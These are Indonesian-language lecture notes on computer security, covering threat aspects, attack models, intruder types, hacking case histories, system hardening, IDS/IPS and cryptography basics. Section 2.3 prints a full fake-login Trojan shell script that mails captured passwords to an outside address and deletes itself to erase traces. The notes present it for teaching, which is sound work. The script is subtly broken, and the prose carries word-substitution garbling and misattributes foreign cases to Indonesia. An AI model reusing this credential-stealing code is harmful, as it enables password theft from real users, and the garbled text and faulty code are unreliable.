Dalam dunia komunikasi data global dan perkembangan teknologi 

informasi yangsenantiasa berubah serta cepatnya perkembangan software, 

keamanan merupakan suatu isu yang sangat penting, baik itu keamanan fisik, 

keamanan data maupun keamanan aplikasi.Perlu kita sadari bahwa untuk 

mencapai suatu keamanan itu yaitu  suatu hal yang sangat mustahil, seperti 

yang ada dalam dunia nyata sekarang ini.Tidak ada satu daerah pun yang 

betul-betul aman kondisinya, walau penjaga keamanan telah ditempatkan di 

daerah ini , begitu juga dengan keamanan sistem komputer.Namun yang 

bisa kita lakukan yaitu  untuk mengurangi gangguan keamanan ini . 

Sistem keamanan komputer bermanfaat menjaga suatu sistem komputer 

dari pengaksesan seseorang yang tidak berhak. Sistem keamanan komputer 

semakin dibutuhkan seiring dengan meningkatnya pengguna komputer saat 

ini. Selain itu makin meningkatnya para pengguna yang menghubungkan 

jaringan LANnya ke internet, namun tidak diimbangi dengan SDM yang dapat 

menjaga keamanan data dan infomasi yang dimiliki. Sehingga keamanan data 

yang ada menjadi terancam untuk diakses dari orang-orang yang tidak berhak. 

Keamanan komputer menjadi penting sebab  ini terkait dengan Privacy, 

Integrity, Autentication, Confidentiality dan Availability. Beberapa ancaman 

keamanan komputer yaitu  virus, worm, trojan, spam dan lain-lain. Masing-

masingnya memiliki cara untuk mencuri data bahkan merusak sistem 

komputer yang ada. Ancaman bagi keamanan sistem komputer ini tidak bisa 

dihilangkan begitu saja, namun kita dapat meminimalisasi hal ini yaitu  

dengan memakai  software keamanan sistem antara lain antivirus, 

antispam dan sebagainya.  

  

Keamanan komputer yaitu  suatu cabang teknologi yang dikenal dengan 

nama keamananinformasi yang diterapkan pada komputer. Sasaran 

keamanan komputer antara lain yaitu  sebagai perlindungan informasi 

terhadap pencurian atau korupsi, atau pemeliharaan ketersediaan,seperti 

dijabarkan dalam kebijakan keamanan.  

Menurut Gollmann pada tahun 1999 dalam bukunya “Computer Security” 

menyatakan bahwa : Keamanan komputer yaitu  berhubungan dengan 

pencegahan diri dan deteksi terhadap tindakan pengganggu yang tidak 

dikenali dalam system komputer.1 

Menurut Howard (1997) dalam bukunya “An Analysis of Security 

Incidents on The Internet” menyatakan bahwa keamanan komputer yaitu  

tindakan pencegahan dari serangan pengguna komputer atau pengakses 

jaringan yang tidak bertanggung jawab. Keamanan dalam sistem komputer 

sangat berpengaruh terhadap beberapa faktor di bawah ini diantaranya yaitu  

:  

1. Social engineering 

2. Security hole pada sistem operasi dan servis 

3. Keamanan fisik 

4. Serangan pada jaringan  

5. DOS attack  

6. Serangan via aplikasi berbasis web  

7. Trojan, backdoor, rootkit, keylogger  

8. Virus, worm  

9. Anatomy of A Hack 

 

Menurut Wicak dalam bukunya “mengamankan komputer dari Spywere: 

2007” Keamanan dari data dan media serta teknik komunikasi 

(Communication security). Tipe keamanan jenis ini banyak memakai  

kelemahan yang ada pada perangkat lunak, baik perangkat lunak aplikasi 

ataupun perangkat lunak yang diugunakan dalammengelola sebuah 

database.2 

Dalam keamanan sistem komputer yang perlu kita lakukan yaitu  untuk 

mempersulit orang lain mengganggu sistem yang kita pakai, baik 

memakai  komputer yang sifatnya sendiri, jaringan local maupun jaringan 

global. Harus dipastikan system bisa berjalan dengan baik dan kondusif, 

selain itu program aplikasinya masih bisa dipakai tanpa ada masalah. 

 

pemicu  Meningkatnya Kejahatan Komputer 

3pemicu  meningkatnya kejahatan komputer yaitu: 

1. Meningkatnya aplikasi berbasis IT dan jaringan komputer, seperti : online 

banking, e-commerce, Electronic data Interchange (EDI). 

2. Desentralisasi server sehingga lebih banyak system yang harus 

ditangani, sementara SDM terbatas. Seperti lemahnya keamanan ketika 

terjadi pemindahan data. 

3. Transisi dari single vendor ke multi vendor, seperti: ada 2 server dalam 1 

vendor. 

4. Meningkatnya kemampuan pemakai (user). 

5. Lemahnya hukum IT yaitu kesulitan penegak hukum dan belum adanya 

ketentuan yang pasti. 

6. Kompleksitas sistem yang digunakan, seperti pada penginstallan aplikasi 

yang tidak kompleks/tidak selesai 

7. Koneksi internet yang lemah tingkat security nya. 

8. Banyaknya software yang pada awalnya digunakan untuk melakukan 

audit sebuah system dengan cara mencari kelemahan dan celah yang 

mungkin disalahgunakan untuk melakukan scanning system orang lain. 

9. Banyaknya software-software untuk melakukan penyusupan yang 

tersedia di Internet dan bisa di download secara gratis. 

 

2Cybercrime dapat didefinisikan sebagai perbuatan melanggar hukum yang 

dilakukan dengan memakai  fasilitas internet dengan memakai  

teknologi komputer dan telekomunikasi. 

 

1.4 Kebutuhan Keamanan Komputer 

4Alasan kenapa keamanan komputer dibutuhkan : 

• Information-based society, menyebabkan nilai informasi  menjadi 

sangat penting dan menuntut kemampuan untuk mengakses dan 

menyediakan informasi secara cepat dan akurat menjadi sangat esensial 

bagi sebuah organisasi, 

• Infrastruktur Jaringan komputer, seperti LAN  dan Internet, 

memungkinkan untuk menyediakan informasi secara cepat, sekaligus 

membuka potensi adanya lubang keamanan (security hole) 

 

Ada beberapa hal pemicu  keamanan komputer dibutuhkan, seperti: 

1. Mengurangi resiko ancaman, hal ini biasa berlaku di institusi dan 

perusahaan swasta.  

2. Melindungi system dari kerentanan, kerentanan akan menjadikan system 

berpotensi untuk memberikan akses yang tidak diizinkan bagi orang lain 

yang tidak berhak. 

3. Melindungi system dari gangguan alam seperti petir dan lain-lainnya. 

 

 

1.5 Klasifikasi Keamanan Komputer 

3Klasifikasi keamanan menurut John D. Howard, 1997 yaitu: 

1. Keamanan yang bersifat fisik (physical security): termasuk akses 

orang ke gedung, peralatan, dan media yang digunakan.  

Contoh : 

a. Wiretapping atau hal-hal yang ber-hubungan dengan akses ke kabel 

atau komputer yang digunakan. 

b. Denial of service, dilakukan misalnya dengan mematikan peralatan 

atau membanjiri saluran komunikasi dengan pesan-pesan (yang 

dapat berisi apa saja sebab  yang diutamakan yaitu  banyaknya 

jumlah pesan). 

c. Syn Flood Attack, dimana sistem (host) yang dituju dibanjiri oleh 

permintaan sehingga dia menjadi ter-lalu sibuk dan bahkan dapat 

berakibat macetnya sistem (hang). 

2. Keamanan yang berhubungan dengan orang (personel), Contoh : 

a. Identifikasi user (username dan password) 

b. Profil resiko dari orang yang mempunyai akses (pemakai dan 

pengelola). 

3. 5Keamanan dari data dan media serta teknik komunikasi 

(communications). yang termasuk di dalam kelas ini yaitu  

kelemahan dalam software yang digunakan untuk mengelola data. 

Seorang kriminal dapat memasang virus atau trojan horse sehingga 

dapat mengumpulkan infor- masi (seperti password) yang semestinya 

tidak berhak diakses. 

4. Keamanan dalam operasi: Adanya prosedur yang digunakan untuk 

mengatur dan mengelola sistem keamanan, dan juga ter-masuk 

prosedur setelah serangan (post attack recovery). 

 

1.6 Karakterisitik Penyusup 

6Macam – macam karakteristik penyusup, yaitu : 

a. The Curious (Si Ingin Tahu)  

Tipe penyusup ini pada dasarnya tertarik menemukan jenis sistem dan 

data yang digunakan. 

b. The Malicious (Si Perusak)  

 

Tipe penyusup ini ingin merusak system yang digunakan atau mengubah 

tampilan layar yang dibuat. 

c. The High-Profile Intruder (Si Profil Tinggi)  

Tipe penyusup ini penyusup ini memakai  system untuk mencapai 

popularitas dia sendiri, semakin tinggi system keamanan yang kita buat, 

semakin membuatnya penasaran. Jika dia berhasil masuk ke sistem kita 

maka ini menjadi sarana baginya untuk mempromosikan diri. 

d. The Competition (Si Pesaing)  

penyusup ini lebih tertarik pada data yang ada dalam system yang kita 

miliki, sebab  dia menganggap kita memiliki sesuatu yang dapat 

menguntungkannya secara finansial atau malah merugikannya 

(penyusup). 

 

1.7 Fase Seorang Hacker 

Istilah bagi hacker (penyusup) : 

1. Mundane 

Tahu mengenai hacking tapi tidak mengetahui metode dan prosesnya. 

2. lamer (script kiddies) 

Mencoba script2 yang pernah di buat oleh aktivis hacking, tapi tidak 

paham bagaimana cara membuatnya. 

3. Wannabe 

Paham sedikit metode hacking, dan sudah mulai berhasil menerobos. 

4. larva (newbie)  

Hacker pemula, teknik hacking mulai dikuasai dengan baik, sering 

bereksperimen. 

5. Wizard 

Hacker yang membuat komunitas pembelajaran di antara mereka. 

6. Master of the master hacker 

Lebih mengarah ke penciptaan tools-tools yang powerfull yang salah 

satunya dapat menunjang aktivitas hacking, namun lebih jadi tools 

pemrograman system yang umum. 

 

1.8 Aspek Keamanan Komputer 

7Menurut Garfinkel [Simson Garfinkel, “PGP: Pretty Good Privacy,” O’Reilly & 

Associ-ates, Inc., 1995.] 

1. Privacy / Confidentiality  

a. Defenisi : menjaga informasi dari orang yang tidak berhak mengakses. 

1) Privacy  : lebih kearah data-data yang sifatnya privat , Contoh : e-

mail seorang pemakai (user) tidak boleh dibaca oleh administrator. 

2) Confidentiality  : berhubungan dengan data yang diberikan ke 

pihak lain untuk keperluan tertentu dan hanya diperbolehkan untuk 

keperluan tertentu ini . 

b. Contoh  : data-data yang sifatnya pribadi (seperti nama, tempat 

tanggal lahir, social security number, agama, status perkawinan, 

penyakit yang pernah diderita, nomor kartu kredit, dan sebagainya) 

harus dapat diproteksi dalam pemakaian  dan penyebarannya. 

c.  Bentuk Serangan : usaha penyadapan (dengan program sniffer). 

d. Usaha-usaha yang dapat dilakukan untuk meningkatkan privacy dan 

confidentiality yaitu  dengan memakai  teknologi kriptografi. 

 

 

2. Integrity 

a. Defenisi : informasi tidak boleh diubah tanpa seijin pemilik informasi. 

b. Contoh : e-mail di intercept di tengah jalan, diubah isinya, kemudian 

diteruskan ke alamat yang dituju. 

c. Bentuk serangan : Adanya virus, trojan horse, atau pemakai lain yang 

mengubah informasi tanpa ijin, “man in the middle attack” dimana 

seseorang menempatkan diri di tengah pembicaraan dan menyamar 

sebagai orang lain. 

 

3. Authentication 

a. Defenisi : metode untuk menyatakan bahwa informasi betul-betul asli, 

atau orang yang mengakses atau memberikan informasi yaitu  betul-

betul orang yang dimaksud. 

b. Dukungan : 

1. Adanya Tools membuktikan keaslian dokumen, dapat dilakukan 

dengan teknologi watermarking(untuk menjaga “intellectual 

property”, yaitu dengan menandai dokumen atau hasil karya 

dengan “tanda tangan” pembuat ) dan digital signature. 

2. Access control, yaitu berkaitan dengan pembatasan orang yang 

dapat mengakses informasi. User harus memakai  password, 

biometric (ciri-ciri khas orang), dan sejenisnya. 

 

 

 

4. Availability 

a. Defenisi : berhubungan dengan ketersediaan informasi ketika 

dibutuhkan. 

b. Contoh hambatan : 

1) “denial of service attack” (DoS attack), dimana server dikirimi 

permintaan (biasanya palsu) yang bertubi-tubi atau permintaan 

yang diluar perkiraan sehingga tidak dapat melayani permintaan 

lain atau bahkan sampai down, hang, crash. 

2) mailbomb, dimana seorang pemakai dikirimi e-mail bertubi-tubi 

(katakan ribuan e-mail) dengan ukuran yang besar sehingga sang 

pemakai tidak dapat membuka e-mailnya atau kesulitan 

mengakses e-mailnya. 

 

5. Access Control 

a. Defenisi : cara pengaturan akses kepada informasi.  berhubungan 

dengan masalahauthentication dan juga privacy 

b. Metode : memakai  kombinasi userid/password atau 

denganmemakai  mekanisme lain. 

 

6. Non-repudiation 

a. Defenisi : Aspek iniberhubungan dengan si pengirim. Tujuannya agar 

seseorangtidak dapat mengelak bahwa dialah yang mengirim 

informasi ini . 

b. Contoh ancaman : Penyangkalan pesanan melalui email 

 

c. Solusi : Digital signature, certificate dan kriptografi 



 

SERANGAN PADA KEAMANAN JARINGAN 

 

 

2.1 Security Attack Models 

Menurut W. Stallings [William Stallings, “Network and Internetwork Security,” 

Prentice Hall, 1995]. Serangan (attack) terdiri dari : 

 

1. Interruption (interupsi) 

 

 

Gambar 2.1 Interruption 

 

Interruption yaitu  ancaman terhadap availability. Informasi dan data yang 

merupakan sistem komputer dirusak dan dihapus sehingga jika dibutuhkan, 

data atau informasi ini  tidak lagi ada.8 

 

Contoh penyerangannya : 

a. DOS (serangan terhadap sebuah komputer atau server di dalam jaringan 

internet dengan cara menghabiskan sumber (resource) yang dimiliki oleh 

komputer ini  sampai komputer ini  tidak dapat menjalankan 

fungsinya dengan benar.)   

b. DDOS (jenis serangan Denial of Service (DOS) yang memakai  

banyak host (baik itu memakai  komputer yang didedikasikan untuk 

melakukan penyerangan atau komputer yang "dipaksa" menjadi zombie) 

untuk menyerang satu buah host target dalam sebuah jaringan). 

 

 

Interception yaitu  serangan jenis ini ditujukan terhadap aspek privacy 

dan authentication. Pihak yang tidak berwenang dapat mengakses informasi. 

Contoh : serangan ini pencurian data pengguna kartu kredit.9 

 

Contoh penyerangannya : 

a. Wiretapping (penyadapan), (suatu kejahatan yang berupa penyadapan 

saluran komunikasi khususnya jalur yang memakai  kabel.) 

b. Sniffing, (yaitu  penyadapan terhadap lalu lintas data pada suatu 

jaringan komputer.) 

 

 

3. Modification (Pengubahan) 

 

 

 

Gambar 2.4 Modification 

 

Modification yaitu  serangan jenis ini ditujukan terhadap aspek privacy, 

authentication, dan integrity. Pihak yang tidak berwenang dapat mengakses 

dan mengubah informasi.  

 

Contoh penyerangannya : 

a. mengubah nilai-nilai file data, mengubah program sehingga bertindak 

secara berbeda, memodifikasi pesan-pesan yang ditransmisikan pada 

jaringan.9 

b. Mengubah pesan dari website dengan pesan yang merugikan pemilik 

website.8 

 


 

4. Fabrication (Pemalsuan) 

 

 

Gambar 2.5 Fabrication 

 

Fabrication yaitu  seseorang yang tidak memiliki hak akses, 

memasukkan suatu objek palsu ke dalam sistem yang ada. Serangan jenis ini 

ditujukan terhadap aspek privacy, authentication, dan integrity. 

 

Contoh Penyerangannya : 

a. Phising Mail (memasukkan pesan-pesan palsu seperti e-mail palsu ke 

dalam jaringan komputer.)3 

 

2.2 Beberapa Kasus Keamanan Komputer 

Berikut ini beberapa kasus yang berhubungan dengan ancaman terhadap 

keamanan sistem informasi di Indonesia antara lain: 

a. Tahun 1995 

Vladimir Levin membobol bank-bank di kawasan Wallstreet, mengambil uang 

sebesar $10 juta Kevin Mitnick, mencuri 20.000 nomor kartu kredit, menyalin 

sistem operasi DEC secara ilegal, dan mengambil alih hubungan telepon di 

New York dan California 

 

b. Tahun 2000 

Contoh kasusnya yaitu : 

1. Fabian clone, menjebol situs aetna.co.id dan Jakarta mail dan membuat 

directory atas namanya berisi peringatan terhadap administrator situs 

ini . Situs yang diserang termasuk Bursa Efek Jakarta, BCA, 

Indosatnet, dan beberapa situs besar lain yang tidak dilaporkan 

2. September dan Oktober 2000, setelah membobol Bank Lippo, kembali 

Fabian Clone beraksi dengan menjebol web milik Bank Bali.10 

3. Wenas, membuat server sebuah ISP di singapura down 

 

c. Tahun 2001 

Polda DIY meringkus seorang carder (pembobol kartu kredit). Tersangka 

diringkus di Bantul dengan barang bukti sebuah paket berisi lukisan berharga 

30 juta rupiah.10 

 

d. Dikutip dari berita elektronik www.republika.co.id,  

perubahan kartu tanda penduduk (KTP) menjadi bentuk elektronik (e-KTP), 

merupakan salah satu contoh sistem yang rentan dalam hal keamanannya, 

mengingat data yang ada di dalamnya merupakan data rahasia, data privasi 

yang perlu dilindungi. (keamanan Sistem Informasi Negara Terancam n.d.) 

 


2.3 Memahami Hacker Bekerja 

4Secara umum Hacker bekerja melalui tahapan tahapan sebagai berikut:  

1. Mencari tahu sistem komputer yang menjadi sasaran  

2. Penyusupan  

3. Penjelajahan  

4. Keluar dan menghilangkan jejak 

 

Contoh kasus Trojan House, memanfaatkan SHELL script UNIX : 

Peserta kuliah UNIX ini  memakai  program kecil my_login dalam 

bentuk shell script yang menyerupai layar login dan password sistem UNIX 

sebagai berikut: 

 

#!/bin/sh 

################################### 

# Nama program : my_login 

# Deskripsi :Program kuda trojan sederhana 

# versi 1.0 Nopember 1999 

#################################### 

COUNTER=0 

Cat /etc/issue 

While [ "$COUNTER" –ne 2 ] 

do 

let COUNTER=$COIUNTER+1 

echo "login: \c" 

read LOGIN 

stty echo 

echo "password: \c" 

read PASSWORD 

echo "User $LOGIN : $PASSWORD" | mail gadis@company.com 

stty echo 

echo 

echo "Login Incorrect" 

done 

rm $0 

kill –9 $PPID 

 

jika  program ini dijalankan maka akan ditampilkan layar login seperti 

layaknya awal pemakaian  komputer pdaa sistem UNIX: 

 

Login: 

Password: 

 

Layar login ini tidak terlihat beda dibanding layar login sesungguhnya, sistem 

komputer akan meminta pemakai untuk login ke dalam sistem. Setelah diisi 

password dan di enter, maka segera timbul pesan 

 

Login:root 

Password: ******** 

Login Incorrect 

11 

 

 

Tentu saja Administrator UNIX akan kaget bahwa passwordnya ternyata 

(seolah-olah) salah. Untuk itu ia segera mengulangi login dan password. 

Setelah dua kali ia mencoba login dan tidak berhasil, maka loginnya 

dibatalkan dan kembali keluar UNIX. 

 

Perhatikan program di atas baik-baik, sekali pemakai ini  mencoba login 

dan mengisi password pada layar di atas, setelah itu maka otomatis data login 

dan password ini  akan di email ke mailto:hacker@company.com. 

Sampai disini maka hacker telah mendapatkan login dan password 

 

Walaupun sederhana, jika kita perhatikan lebih jauh lagi, maka program ini 

juga memiliki beberapa trik hacker lainnya, yaitu proses penghilangan jejak 

(masih ingat tahapan hacker yang ditulis di atas ?). Proses ini dilakukan pada 

2 baris terakhir dari program my_login di atas, yaitu 

 

rm $0 

kill –9 $PPID 

 

yang artinya akan segera dilakukan proses penghapusan program my_login 

dan hapus pula ID dari proses. Dengan demikian hilanglah program ini  

yang tentunya juga menhilangkan barang bukti. Ditambah lagi penghapusan 

terhadap jejak proses di dalam sistem UNIX. Sukses dari program ini 

sebenarnya sangat tergantung dari bagaimana agar aplikasi ini dapat 

dieksekusi oleh root. Hacker yang baik memang harus berusaha memancing 

agar pemilik root menjalankan program ini 

 

2.4 Prinsip Dasar Perancangan Sistem Yang Aman 

3Adapun dasar-dasar dari perancangan sistem yang aman yaitu : 

a. Mencegah hilangnya data 

b. Mencegah masuknya penyusup 

 

2.5 Lapisan Keamanan 

2.5.1 Lapisan Fisik : 

Membatasi akses fisik ke mesin : 

a. Akses masuk ke ruangan komputer 

b. penguncian komputer secara hardware 

c. keamanan BIOS 

d. keamanan Bootloader 

e. back-up data : 

1) pemilihan piranti back-up 

2) penjadwalan back-up 

Mendeteksi gangguan fisik : 

a. log file : Log pendek atau tidak lengkap, Log yang berisikan waktu 

yang aneh, Log dengan permisi atau kepemilikan yang tidak tepat, 

Catatan pelayanan reboot atau restart, Log yang hilang, masukan su 

atau login dari tempat yang janggal 

b. mengontrol akses sumber daya. 

 

 

2.5.2 Keamanan local 

Berkaitan dengan user dan hak-haknya : 

a. Beri mereka fasilitas minimal yang diperlukan. 

b. Hati-hati terhadap saat/dari mana mereka login, atau tempat 

seharusnya mereka login. 

c. Pastikan dan hapus rekening mereka ketika mereka tidak lagi 

membutuhkan akses. 

 

2.5.3 Keamanan Root 

a. Ketika melakukan perintah yang kompleks, cobalah dalam cara yang 

tidak merusak dulu, terutama perintah yang memakai  globbing: 

contoh, anda ingin melakukan “rm foo*.bak”, pertama coba dulu: “ls 

foo*.bak” dan pastikan anda ingin menghapus file-file yang anda 

pikirkan. 

b. Beberapa orang merasa terbantu ketika melakukan “touch /-i” pada 

sistem mereka. Hal ini akan membuat perintah-perintah seperti : “rm -

fr *” menanyakan apakah anda benar-benar ingin menghapus seluruh 

file. (Shell anda menguraikan “-i” dulu, dan memberlakukannya 

sebagai option -i ke rm). 

c. Hanya menjadi root ketika melakukan tugas tunggal tertentu. Jika 

anda berusaha mengetahui bagaimana melakukan sesuatu, kembali 

ke shell pemakai normal hingga anda yakin apa yang perlu dilakukan 

oleh root. 

d. Jalur perintah untuk pemakai root sangat penting. Jalur perintah, atau 

variabel lingkungan PATH mendefinisikan lokal yang dicari shell untuk 

program. Cobalah dan batasi jalur perintah bagi pemakai root sedapat 

mungkin, dan jangan pernah memakai  ‘.’, yang berarti ‘direktori 

saat ini’, dalam pernyataan PATH anda. Sebagai tambahan, jangan 

pernah menaruh direktori yang dapat ditulis pada jalur pencarian 

anda, sebab  hal ini memungkinkan penyerang memodifikasi atau 

menaruh file biner dalam jalur pencarian anda, yang memungkinkan 

mereka menjadi root ketika anda menjalankan perintah ini . 

e. Jangan pernah memakai  seperangkat utilitas rlogin/rsh/rexec 

(disebut utilitas r) sebagai root. Mereka menjadi sasaran banyak 

serangan, dan sangat berbahaya bila dijalankan sebagai root. Jangan 

membuat file .rhosts untuk root. 

f. File /etc/securetty berisikan daftar terminal-terminal tempat root dapat 

login. Secara baku (pada RedHat Linux) diset hanya pada konsol 

virtual lokal (vty). Berhati-hatilah saat menambahkan yang lain ke file 

ini. Anda seharusnya login dari jarak jauh sebagai pemakai biasa dan 

kemudian ‘su’ jika anda butuh (mudah-mudahan melalui ssh atau 

saluran terenkripsi lain), sehingga tidak perlu untuk login secara 

langsung sebagai root. 

g. Selalu perlahan dan berhati-hati ketika menjadi root. Tindakan anda 

dapat mempengaruhi banyak hal. Pikir sebelum anda mengetik! 

 

2.5.4 Keamanan File dan system file 

a. Directory home user tidak boleh mengakses perintah mengubah 

system seperti partisi, perubahan device dan lain-lain. 

13 

 

b. Lakukan setting limit system file. 

c. Atur akses dan permission file : read, writa, execute bagi user maupun 

group. 

d. Selalu cek program-program yang tidak dikenal 

 

2.5.5 Keamanan Password dan Enkripsi 

a. Hati-hati terhadap bruto force attack dengan membuat password yang 

baik. 

b. Selalu mengenkripsi file yang dipertukarkan. 

c. Lakukan pengamanan pada level tampilan, seperti screen saver. 

 

2.5.6 Keamanan Kernel 

a. selalu update kernel system operasi. 

b. Ikuti review bugs dan kekurang-kekurangan pada system operasi. 

 

2.5.7 Keamanan Jaringan 

a. Waspadai paket sniffer yang sering menyadap port Ethernet. 

b. Lakukan prosedur untuk mengecek integritas data 

c. Verifikasi informasi DNS  

d. Lindungi network file system 

e. Gunakan firewall untuk barrier antara jaringan privat dengan jaringan 

eksternal 

 

Keamanan Informasi merupakan salah satu kunci yang dapat mempengaruhi 

tingkat Reliability (termasuk performa dan availability) suatu jaringan. Untuk 

mengatasi masalah keamanan jaringan dan komputer ada banyak pendekatan 

yang dapat dilakukan. Salah satunya yaitu  dengan memakai  sistem 

IDS (Intrution Detection System) dan IPS (Intrusion Prevention System). 

 

2.5.8 Sistem IDS dan IPS 

Seiring dengan Perkembangan Teknologi Informasi menjadikan keamanan 

suatu informasi sangatlah penting terlebih lagi pada suatu jaringan yang 

terkoneksi dengan internet. sebab  itu telah berkembang teknologi IDS dan 

IPS sebagai pembantu pengaman data pada suatu jarigan komputer. Dengan 

adanya Intrusion Detection System (IDS) dan Instrusion Prevention System 

(IPS), maka serangan-serangan ini  lebih dapat dicegah ataupun 

dihilangkan. IDS berguna untuk mendeteksi adanya serangan dari penyusup 

(serangan dari dalam), sedangkan IPS berguna untuk mendeteksi serangan 

dan menindaklanjutinya dengan pemblokan (filter) serangan. IDS dan IPS 

secara umum dikenal sebagai IDPS (Intrusion Detection and Prevention 

Systems). 

IDS (Intrution Detection System) yaitu  sebuah sistem yang melakukan 

pengawasan terhadap lalulintas (traffic) jaringan dan pengawasan terhadap 

kegiatan-kegiatan yang mencurigakan didalam sebuah sistem jaringan. Jika 

ditemukan kegiatan-kegiatan yang mencurigakan berhubungan dengan 

lalulintas jaringan, maka IDS akan memberikan peringatan kepada sistem atau 

administrator jaringan. Dalam banyak kasus IDS juga merespon terhadap 

lalulintas yang tidak normal / anomali melalui aksi pemblokiran user atau 

alamat IP (Internet Protocol) yang melakukan usaha pengaksesan jaringan 

ini . 

IPS (Intrusion Prevention System) yaitu  sebuah sistem yang 

menggabungkan fungsi firewall dan fungsi IDS dengan proporsional. 

Teknologi ini dapat digunakan untuk mencegah serangan yang akan masuk ke 

jaringan lokal dengan memeriksa dan mencatat semua paket data serta 

mengenali paket dengan sensor, disaat serangan telah teridentifikasi, IPS 

akan menolak akses (block) dan mencatat (log) semua paket data yang 

teridentifikasi ini . Jadi IPS bertindak sepeti layaknya firewall yang akan 

melakukan allow dan block yang dikombinasikan dengan IDS yang dapat 

mendeteksi paket secara detail. IPS memakai  signatures dari paket untuk 

mendeteksi aktivitas lalulintas di jaringan dan terminal, dimana pendeteksian 

paket yang masuk dan keluar (inbound-outbound) dapat di cegah sedini 

mungkin sebelum merusak atau mendapatkan akses ke dalam jaringan lokal. 

Jadi early detection dan prevention menjadi penekanan pada IPS ini. 

 

Tabel 2.1 Perbedaan IDS dan IPS 

 

 

2.5.8.1 Metode Deteksi   

IDPS memiliki  3 metode untuk melakukan deteksi, yaitu signature-based, 

anomaly-based, dan stateful protocol analysis. Ketiga metode ini dapat 

digunakan sekaligus atau sebagain aja.  

1. Signatured-Based Detection 

Metode ini dilakukan dengan membandingkan signature dari setiap paket 

untuk mengidentifikasi  kemungkinan adanya intrusi. Metode ini efektif bila 

IDPS mendeteksi ancaman yang sudah di kenal, tetapi tidak efektif  bila 

ancamannya baru atau tidak di kenal oleh IDPS. Pengertian dikenal dalam 

konteks ini yaitu  sudah pernah terjadi sebelumnya.. Metode ini merupakan 

metode yang paling sederhana, sebab  hanya membandingkan paket data, 

lalu di daftarkan memakai  operasi perbandingan. Kelemahannya yaitu  

metode ini tidak dapat melacak kejadian yang terjadi pada komunikasi 

yang  lebih kompleks. 

2. Anomaly-Based Detection 

Metode ini digunakan dengan membandingkan kegiatan yang sedang di 

pantau dengan kegiatan yang di anggap normal untuk mendeteksi adanya 

penyimpangan. Pada metode ini, IDPS memiliki profil yang mewakili perilaku 

yang normal dari user, host, koneksi jaringan dan aplikasi. Profil ini  

didapat dari hasil pemantauan karakteristik dari suatu kegiatan dalam selang 

waktu tertentu. Kelebihan dari metode ini yaitu  efektif dalam mendeteksi 

ancaman yang belum dikenal, contohnya ketika jaringan diserang oleh tipe 

intrusi yang baru. Sedangkan kekurangan dari metode ini yaitu  dalam 

beberapa kasus, akan sulit untuk mendapatkan deteksi yang akurat dalam 

komunikasi yang lebih kompleks. 

3. Stateful Protocol Analysis 

Metode ini sebenarnya menyerupai anomaly-based, yaitu membandingkan 

profil yang sudah ada dengan kegiatan yang sedang berlangsung untuk 

mengidentifikasi penyimpangan. Namun, tidak seperti Anomaly-Based 

Detection yang memakai  profil host, Stateful Protocol Analysis 

memakai  profil yang lebih luas yang dapat merinci bagaimana sebuah 

protokol yang istimewa dapat digunakan atau tidak. Arti “Stateful” disini yaitu  

sistem di IDPS ini bisa memahami dan melacak situasi pada protokol network, 

transport dan application.  

Kelebihan dari metode ini yaitu  dapat mengidentifikasi rangkaian perintah 

yang tidak terduga seperti mengeluarkan perintah yang sama berulang – 

ulang. Sedangkan kekurangannya yaitu  kemungkinan terjadinya bentrokan 

antara protokol yang digunakan oleh IDPS dengan protokol umum yang 

digunakan oleh sistem operasi, atau dengan kata lain sulit membedakan 

implementasi client dan server pada interaksi protokol.


 

KONSEP DASAR KRIPTOGRAFI 


Kata kriptografi berasal dari bahasa Yunani, “kryptós” yang berarti 

tersembunyi dan “gráphein” yang berarti tulisan. Kriptografi telah digunakan 

oleh Julius Caesar sejak zaman Romawi Kuno. Teknik ini dijuluki Caesar 

cipher untuk mengirim pesan secara rahasia, meskipun teknik yang 

digunakannya sangat tidak memadai untuk ukuran kini. (Kriptografi 2020) 

Casanova memakai  pengetahuan mengenai kriptografi untuk mengelabui 

Madame d’Urfe (ia mengatakan kepada Madame d’Urfe bahwa sesosok jin 

memberi tahu kunci rahasia Madame d’Urfe kepadanya, padahal ia berhasil 

memecahkan kunci rahasia berdasarkan pengetahuannya mengenai 

kriptografi), sehingga ia mampu mengontrol kehidupan Madame d’Urfe secara 

total.

 

3.1.2 Pengertian Kriptografi 

Kriptografi yaitu  ilmu mengenai teknik enkripsi dimana “naskah asli” 

(plaintext) diacak memakai  suatu kunci enkripsi menjadi “naskah acak 

yang sulit dibaca” (ciphertext) oleh seseorang yang tidak memiliki kunci 

dekripsi. Dekripsi memakai  kunci dekripsi bisa mendapatkan kembali 

data asli. Probabilitas mendapat kembali naskah asli oleh seseorang yang 

tidak mempunyai kunci dekripsi dalam waktu yang tidak terlalu lama yaitu  

sangat kecil. 

Teknik enkripsi yang digunakan dalam kriptografi klasik yaitu  enkripsi 

simetris dimana kunci dekripsi sama dengan kunci enkripsi. Untuk public key 

cryptography, diperlukan teknik enkripsi asimetris dimana kunci dekripsi tidak 

sama dengan kunci enkripsi. Enkripsi, dekripsi dan pembuatan kunci untuk 

teknik enkripsi asimetris memerlukan komputasi yang lebih intensif 

dibandingkan enkripsi simetris, sebab  enkripsi asimetris memakai  

bilangan - bilangan yang sangat besar. 

 

3.1.3 Aspek Keamanan Kriptografi 

Kriptografi memiliki beberapa aspek keamanan antara lain : 

a. Kerahasiaan (confidentiality), menjamin bahwa data-data ini  

hanya bisa diakses oleh pihak-pihak tertentu saja. Kerahasiaan bertujuan 

untuk melindungi suatu informasi dari semua pihak yang tidak berhak 

atas informasi ini . 

b. Otentikasi (authentication), merupakan identifikasi yang dilakukan 

oleh  masing – masing pihak yang saling berkomunikasi, maksudnya 

beberapa pihak yang berkomunikasi harus mengidentifikasi satu sama 

lainnya. Informasi yang didapat oleh suatu pihak dari pihak lain harus 

diidentifikasi untuk memastikan keaslian dari informasi yang diterima. 

c. Integritas (integrity), menjamin setiap pesan yang dikirim pasti sampai 

pada penerimanya tanpa ada bagian dari pesan ini  yang diganti, 

diduplikasi, dirusak, diubah urutannya, dan ditambahkan. Integritas data 

17 

 

bertujuan untuk mencegah terjadinya pengubahan informasi oleh pihak-

pihak yang tidak berhak atas informasi ini . Untuk menjamin 

integritas data ini pengguna harus mempunyai kemampuan untuk 

mendeteksi terjadinya manipulasi data oleh pihak-pihak yang tidak 

berkepentingan. Manipulasi data yang dimaksud di sini meliputi 

penyisipan, penghapusan, maupun penggantian data. 

d. Nirpenyangkalan (Nonrepudiation), mencegah pengirim maupun 

penerima mengingkari bahwa mereka telah mengirimkan atau menerima 

